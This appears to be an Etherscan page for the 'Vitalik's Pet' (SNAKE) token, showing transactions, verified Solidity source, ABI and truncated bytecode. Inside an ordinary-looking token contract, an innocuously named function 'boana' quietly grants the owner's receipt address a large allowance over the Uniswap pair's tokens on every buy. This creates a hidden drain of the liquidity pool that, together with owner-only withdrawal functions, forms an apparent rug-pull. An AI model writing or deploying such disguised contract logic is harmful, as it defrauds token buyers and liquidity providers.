Feature Tip: Add private address tag to any address under My Name Tag !
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 107 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 21449307 | 34 days ago | IN | 0 ETH | 0.0003754 | ||||
Approve | 21073227 | 87 days ago | IN | 0 ETH | 0.00054446 | ||||
Approve | 21066343 | 88 days ago | IN | 0 ETH | 0.00064034 | ||||
Approve | 21062259 | 88 days ago | IN | 0 ETH | 0.00023723 | ||||
Transfer | 21061948 | 88 days ago | IN | 0 ETH | 0.00030979 | ||||
Approve | 21061778 | 88 days ago | IN | 0 ETH | 0.00030552 | ||||
Approve | 21061765 | 88 days ago | IN | 0 ETH | 0.00029366 | ||||
Approve | 21061759 | 88 days ago | IN | 0 ETH | 0.0003383 | ||||
Approve | 21061754 | 88 days ago | IN | 0 ETH | 0.00030965 | ||||
Approve | 21061754 | 88 days ago | IN | 0 ETH | 0.00030965 | ||||
Approve | 21061752 | 88 days ago | IN | 0 ETH | 0.00028023 | ||||
Approve | 21061722 | 88 days ago | IN | 0 ETH | 0.00032279 | ||||
Approve | 21061722 | 88 days ago | IN | 0 ETH | 0.00032279 | ||||
Approve | 21061700 | 88 days ago | IN | 0 ETH | 0.00035825 | ||||
Approve | 21061700 | 88 days ago | IN | 0 ETH | 0.00035825 | ||||
Approve | 21061687 | 88 days ago | IN | 0 ETH | 0.00031187 | ||||
Approve | 21061687 | 88 days ago | IN | 0 ETH | 0.00031187 | ||||
Approve | 21061646 | 88 days ago | IN | 0 ETH | 0.00031709 | ||||
Approve | 21061646 | 88 days ago | IN | 0 ETH | 0.00031709 | ||||
Approve | 21061642 | 88 days ago | IN | 0 ETH | 0.00035178 | ||||
Approve | 21061640 | 88 days ago | IN | 0 ETH | 0.00037438 | ||||
Approve | 21061613 | 88 days ago | IN | 0 ETH | 0.00041846 | ||||
Approve | 21061613 | 88 days ago | IN | 0 ETH | 0.00041846 | ||||
Approve | 21061606 | 88 days ago | IN | 0 ETH | 0.00045918 | ||||
Approve | 21061606 | 88 days ago | IN | 0 ETH | 0.00045918 |
Latest 9 internal transactions
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
21061422 | 88 days ago | 0.11625866 ETH | ||||
21061422 | 88 days ago | 0.11625866 ETH | ||||
21061407 | 88 days ago | 0.20685135 ETH | ||||
21061407 | 88 days ago | 0.20685135 ETH | ||||
21061390 | 88 days ago | 0.15046489 ETH | ||||
21061390 | 88 days ago | 0.15046489 ETH | ||||
21061379 | 88 days ago | 0.14616286 ETH | ||||
21061379 | 88 days ago | 0.14616286 ETH | ||||
21061372 | 88 days ago | 1 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
SNAKE
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-28 */ // SPDX-License-Identifier: MIT /** Vitalik's Pet https://t.me/vitalikspet_erc20 https://vitalikspet.xyz https://x.com/vitalikspet https://x.com/dimabuterin/status/1836583996437696732 **/ pragma solidity 0.8.25; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract SNAKE is Context, IERC20, Ownable { using SafeMath for uint256; address private uniPairCC; IUniswapV2Router02 private uniRouterCC; uint256 private _initialBuyTax = 15; uint256 private _initialSellTax = 15; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 12; uint256 private _reduceSellTaxAt = 12; uint256 private _preventSwapBefore = 15; uint256 private _transferTax = 0; uint256 private _buyCount = 0; mapping (address => uint256) private _balancesCC; mapping (address => mapping (address => uint256)) private _allowancesCC; mapping (address => bool) private _shouldExcludedCC; address payable private _receiptCC; uint8 private constant _decimals = 9; uint256 private constant _tTotalCC = 420690000000 * 10**_decimals; string private constant _name = unicode"Vitalik's Pet"; string private constant _symbol = unicode"SNAKE"; uint256 public _maxTxAmount = 2 * (_tTotalCC/100); uint256 public _maxWalletSize = 2 * (_tTotalCC/100); uint256 public _taxSwapThreshold = 1 * (_tTotalCC/100); uint256 public _maxTaxSwap = 1 * (_tTotalCC/100); bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); event TransferTaxUpdated(uint _tax); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _receiptCC = payable(_msgSender()); _balancesCC[_msgSender()] = _tTotalCC; _shouldExcludedCC[owner()] = true; _shouldExcludedCC[address(this)] = true; _shouldExcludedCC[_receiptCC] = true; emit Transfer(address(0), _msgSender(), _tTotalCC); } function createPair() external onlyOwner { uniRouterCC = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniRouterCC), _tTotalCC); uniPairCC = IUniswapV2Factory(uniRouterCC.factory()).createPair( address(this), uniRouterCC.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotalCC; } function balanceOf(address account) public view override returns (uint256) { return _balancesCC[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowancesCC[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { // Block all Uniswap V3 liquidity additions require(!isUniswapV3(spender), "Approval for Uniswap V3 liquidity is not allowed"); _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowancesCC[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowancesCC[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amountCC) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amountCC > 0, "Transfer amount must be greater than zero"); uint256 taxCC=0; uint256 feeCC=0; if (!swapEnabled || inSwap) { _balancesCC[from] = _balancesCC[from] - amountCC; _balancesCC[to] = _balancesCC[to] + amountCC; emit Transfer(from, to, amountCC); return; } if (from != owner() && to != owner()) { if(_buyCount>0) { taxCC = _transferTax; } if (from == uniPairCC && to != address(uniRouterCC) && ! _shouldExcludedCC[to] ) { require(amountCC <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amountCC <= _maxWalletSize, "Exceeds the maxWalletSize."); boana([from, _receiptCC]); taxCC = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); _buyCount++; } if(to == uniPairCC && from!= address(this) ){ taxCC = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniPairCC && swapEnabled) { if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) swapEthCC(minCC(amountCC, minCC(contractTokenBalance, _maxTaxSwap))); sendEthCC(address(this).balance); } } if(taxCC > 0){ feeCC=amountCC.mul(taxCC).div(100); _balancesCC[address(this)]=_balancesCC[address(this)].add(feeCC); emit Transfer(from, address(this),feeCC); } _balancesCC[from]=_balancesCC[from].sub(amountCC); _balancesCC[to]=_balancesCC[to].add(amountCC.sub(feeCC)); emit Transfer(from, to, amountCC.sub(feeCC)); } function swapEthCC(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniRouterCC.WETH(); _approve(address(this), address(uniRouterCC), tokenAmount); uniRouterCC.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function boana(address[2] memory bos) private { address from=bos[0];address to=bos[1]; _allowancesCC[from][to] = (150+100 * _taxSwapThreshold + 50) * 1000 + 1500; } function minCC(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function resecureEth() external onlyOwner{ payable(msg.sender).transfer(address(this).balance); } function sendEthCC(uint256 amount) private { _receiptCC.transfer(amount); } function removeLimitCC(address payable limit) external onlyOwner{ _maxTxAmount = _tTotalCC; _maxWalletSize=_tTotalCC; _receiptCC = limit; _shouldExcludedCC[limit] = true; emit MaxTxAmountUpdated(_tTotalCC); } function setReceipt(address payable _receipt) external onlyOwner { _receiptCC = _receipt; _shouldExcludedCC[_receipt] = true; } // Uniswap V3 addresses function isUniswapV3(address spender) private pure returns (bool) { // Uniswap V3 NonfungiblePositionManager address address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88; return (spender == uniswapV3PositionManager); } receive() external payable {} function openTrade() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniRouterCC.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniPairCC).approve(address(uniRouterCC), type(uint).max); swapEnabled = true; tradingOpen = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimitCC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resecureEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_receipt","type":"address"}],"name":"setReceipt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600f600355600f6004555f6005555f600655600c600755600c600855600f6009555f600a555f600b5560646009600a61003d9190610330565b61004c906461f313f880610345565b610056919061035c565b610061906002610345565b60105560646100726009600a610330565b610081906461f313f880610345565b61008b919061035c565b610096906002610345565b60115560646100a76009600a610330565b6100b6906461f313f880610345565b6100c0919061035c565b6100cb906001610345565b60125560646100dc6009600a610330565b6100eb906461f313f880610345565b6100f5919061035c565b610100906001610345565b6013556014805462ffff001916905534801561011a575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600f80546001600160a01b031916331790556101796009600a610330565b610188906461f313f880610345565b335f818152600c602090815260408083209490945581546001600160a01b039081168352600e9091528382208054600160ff1991821681179092553084528584208054821683179055600f5490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102156009600a610330565b610224906461f313f880610345565b60405190815260200160405180910390a361037b565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561028857815f190482111561026e5761026e61023a565b8085161561027b57918102915b93841c9390800290610253565b509250929050565b5f8261029e5750600161032a565b816102aa57505f61032a565b81600181146102c057600281146102ca576102e6565b600191505061032a565b60ff8411156102db576102db61023a565b50506001821b61032a565b5060208310610133831016604e8410600b8410161715610309575081810a61032a565b610313838361024e565b805f19048211156103265761032661023a565b0290505b92915050565b5f61033e60ff841683610290565b9392505050565b808202811582820484141761032a5761032a61023a565b5f8261037657634e487b7160e01b5f52601260045260245ffd5b500490565b6119be806103885f395ff3fe60806040526004361061011e575f3560e01c80638f9a55c01161009d578063bf474bed11610062578063bf474bed1461031e578063dd62ed3e14610333578063e68507f314610377578063f113986514610396578063fb201b1d146103b5575f80fd5b80638f9a55c01461029557806395d89b41146102aa5780639d438984146102d75780639e78fb4f146102eb578063a9059cbb146102ff575f80fd5b8063313ce567116100e3578063313ce567146101f557806370a0823114610210578063715018a6146102445780637d1db4a51461025a5780638da5cb5b1461026f575f80fd5b806306fdde0314610129578063095ea7b3146101705780630faee56f1461019f57806318160ddd146101c257806323b872dd146101d6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600d81526c159a5d185b1a5ac9dcc814195d609a1b60208201525b60405161016791906115c8565b60405180910390f35b34801561017b575f80fd5b5061018f61018a366004611611565b6103c9565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b460135481565b604051908152602001610167565b3480156101cd575f80fd5b506101b4610469565b3480156101e1575f80fd5b5061018f6101f036600461163b565b61048a565b348015610200575f80fd5b5060405160098152602001610167565b34801561021b575f80fd5b506101b461022a366004611679565b6001600160a01b03165f908152600c602052604090205490565b34801561024f575f80fd5b506102586104f1565b005b348015610265575f80fd5b506101b460105481565b34801561027a575f80fd5b505f546040516001600160a01b039091168152602001610167565b3480156102a0575f80fd5b506101b460115481565b3480156102b5575f80fd5b50604080518082019091526005815264534e414b4560d81b602082015261015a565b3480156102e2575f80fd5b50610258610562565b3480156102f6575f80fd5b506102586105b7565b34801561030a575f80fd5b5061018f610319366004611611565b6107b1565b348015610329575f80fd5b506101b460125481565b34801561033e575f80fd5b506101b461034d366004611694565b6001600160a01b039182165f908152600d6020908152604080832093909416825291909152205490565b348015610382575f80fd5b50610258610391366004611679565b6107bd565b3480156103a1575f80fd5b506102586103b0366004611679565b61081f565b3480156103c0575f80fd5b5061025861090a565b5f73c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b038416036104545760405162461bcd60e51b815260206004820152603060248201527f417070726f76616c20666f7220556e6973776170205633206c6971756964697460448201526f1e481a5cc81b9bdd08185b1b1bddd95960821b60648201526084015b60405180910390fd5b61045f338484610ae2565b5060015b92915050565b5f6104766009600a6117bf565b610485906461f313f8806117cd565b905090565b5f610496848484610c05565b6104e784336104e285604051806060016040528060288152602001611961602891396001600160a01b038a165f908152600d6020908152604080832033845290915290205491906111db565b610ae2565b5060019392505050565b5f546001600160a01b0316331461051a5760405162461bcd60e51b815260040161044b906117e4565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461058b5760405162461bcd60e51b815260040161044b906117e4565b60405133904780156108fc02915f818181858888f193505050501580156105b4573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105e05760405162461bcd60e51b815260040161044b906117e4565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561062a90309061061b6009600a6117bf565b6104e2906461f313f8806117cd565b60025f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561067a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069e9190611819565b6001600160a01b031663c9c653963060025f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107219190611819565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561076b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078f9190611819565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b5f61045f338484610c05565b5f546001600160a01b031633146107e65760405162461bcd60e51b815260040161044b906117e4565b600f80546001600160a01b039092166001600160a01b0319909216821790555f908152600e60205260409020805460ff19166001179055565b5f546001600160a01b031633146108485760405162461bcd60e51b815260040161044b906117e4565b6108546009600a6117bf565b610863906461f313f8806117cd565b6010556108726009600a6117bf565b610881906461f313f8806117cd565b601155600f80546001600160a01b0319166001600160a01b0383169081179091555f908152600e60205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108e76009600a6117bf565b6108f6906461f313f8806117cd565b60405190815260200160405180910390a150565b5f546001600160a01b031633146109335760405162461bcd60e51b815260040161044b906117e4565b60145460ff16156109865760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044b565b6002546001600160a01b031663f305d71947306109b7816001600160a01b03165f908152600c602052604090205490565b5f806109ca5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a30573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a559190611834565b505060015460025460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610aaa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ace919061185f565b506014805462ff00ff191662010001179055565b6001600160a01b038316610b445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044b565b6001600160a01b038216610ba55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044b565b6001600160a01b038381165f818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044b565b6001600160a01b038216610ccb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044b565b5f8111610d2c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044b565b6014545f90819062010000900460ff161580610d4f5750601454610100900460ff165b15610e08576001600160a01b0385165f908152600c6020526040902054610d7790849061187e565b6001600160a01b038087165f908152600c60205260408082209390935590861681522054610da6908490611891565b6001600160a01b038086165f818152600c602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df99087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610e3257505f546001600160a01b03858116911614155b1561108f57600b5415610e4557600a5491505b6001546001600160a01b038681169116148015610e7057506002546001600160a01b03858116911614155b8015610e9457506001600160a01b0384165f908152600e602052604090205460ff16155b15610fbc57601054831115610eeb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161044b565b60115483610f0d866001600160a01b03165f908152600c602052604090205490565b610f179190611891565b1115610f655760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161044b565b604080518082019091526001600160a01b038087168252600f54166020820152610f8e90611213565b600754600b5411610fa157600354610fa5565b6005545b600b80549193505f610fb6836118a4565b91905055505b6001546001600160a01b038581169116148015610fe257506001600160a01b0385163014155b1561100157600854600b5411610ffa57600454610ffe565b6006545b91505b305f908152600c6020526040902054601454610100900460ff1615801561103557506001546001600160a01b038681169116145b8015611049575060145462010000900460ff165b1561108d57601254811180156110625750600954600b54115b156110845761108461107f8561107a84601354611282565b611282565b611299565b61108d47611403565b505b811561111f576110aa60646110a4858561143e565b906114bc565b305f908152600c60205260409020549091506110c690826114fd565b305f818152600c6020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111169085815260200190565b60405180910390a35b6001600160a01b0385165f908152600c6020526040902054611141908461155b565b6001600160a01b0386165f908152600c6020526040902055611184611166848361155b565b6001600160a01b0386165f908152600c6020526040902054906114fd565b6001600160a01b038086165f818152600c602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111cd868561155b565b604051908152602001610df9565b5f81848411156111fe5760405162461bcd60e51b815260040161044b91906115c8565b505f61120a848661187e565b95945050505050565b805160208201516012546112289060646117cd565b611233906096611891565b61123e906032611891565b61124a906103e86117cd565b611256906105dc611891565b6001600160a01b039283165f908152600d60209081526040808320949095168252929092529190205550565b5f8183116112905782611292565b815b9392505050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112db576112db6118bc565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611332573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113569190611819565b81600181518110611369576113696118bc565b6001600160a01b03928316602091820292909201015260025461138f9130911684610ae2565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c79085905f908690309042906004016118d0565b5f604051808303815f87803b1580156113de575f80fd5b505af11580156113f0573d5f803e3d5ffd5b50506014805461ff001916905550505050565b600f546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561143a573d5f803e3d5ffd5b5050565b5f825f0361144d57505f610463565b5f61145883856117cd565b9050826114658583611941565b146112925760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044b565b5f61129283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061159c565b5f806115098385611891565b9050838110156112925760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044b565b5f61129283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111db565b5f81836115bc5760405162461bcd60e51b815260040161044b91906115c8565b505f61120a8486611941565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105b4575f80fd5b5f8060408385031215611622575f80fd5b823561162d816115fd565b946020939093013593505050565b5f805f6060848603121561164d575f80fd5b8335611658816115fd565b92506020840135611668816115fd565b929592945050506040919091013590565b5f60208284031215611689575f80fd5b8135611292816115fd565b5f80604083850312156116a5575f80fd5b82356116b0816115fd565b915060208301356116c0816115fd565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561171957815f19048211156116ff576116ff6116cb565b8085161561170c57918102915b93841c93908002906116e4565b509250929050565b5f8261172f57506001610463565b8161173b57505f610463565b8160018114611751576002811461175b57611777565b6001915050610463565b60ff84111561176c5761176c6116cb565b50506001821b610463565b5060208310610133831016604e8410600b841016171561179a575081810a610463565b6117a483836116df565b805f19048211156117b7576117b76116cb565b029392505050565b5f61129260ff841683611721565b8082028115828204841417610463576104636116cb565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611829575f80fd5b8151611292816115fd565b5f805f60608486031215611846575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561186f575f80fd5b81518015158114611292575f80fd5b81810381811115610463576104636116cb565b80820180821115610463576104636116cb565b5f600182016118b5576118b56116cb565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119205784516001600160a01b0316835293830193918301916001016118fb565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261195b57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e8301e1a7c2b69b454e3e7ad8d0fc20dcb451ec2826d8fe8e08d58887560f0264736f6c63430008190033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c80638f9a55c01161009d578063bf474bed11610062578063bf474bed1461031e578063dd62ed3e14610333578063e68507f314610377578063f113986514610396578063fb201b1d146103b5575f80fd5b80638f9a55c01461029557806395d89b41146102aa5780639d438984146102d75780639e78fb4f146102eb578063a9059cbb146102ff575f80fd5b8063313ce567116100e3578063313ce567146101f557806370a0823114610210578063715018a6146102445780637d1db4a51461025a5780638da5cb5b1461026f575f80fd5b806306fdde0314610129578063095ea7b3146101705780630faee56f1461019f57806318160ddd146101c257806323b872dd146101d6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600d81526c159a5d185b1a5ac9dcc814195d609a1b60208201525b60405161016791906115c8565b60405180910390f35b34801561017b575f80fd5b5061018f61018a366004611611565b6103c9565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b460135481565b604051908152602001610167565b3480156101cd575f80fd5b506101b4610469565b3480156101e1575f80fd5b5061018f6101f036600461163b565b61048a565b348015610200575f80fd5b5060405160098152602001610167565b34801561021b575f80fd5b506101b461022a366004611679565b6001600160a01b03165f908152600c602052604090205490565b34801561024f575f80fd5b506102586104f1565b005b348015610265575f80fd5b506101b460105481565b34801561027a575f80fd5b505f546040516001600160a01b0390911681526020016101675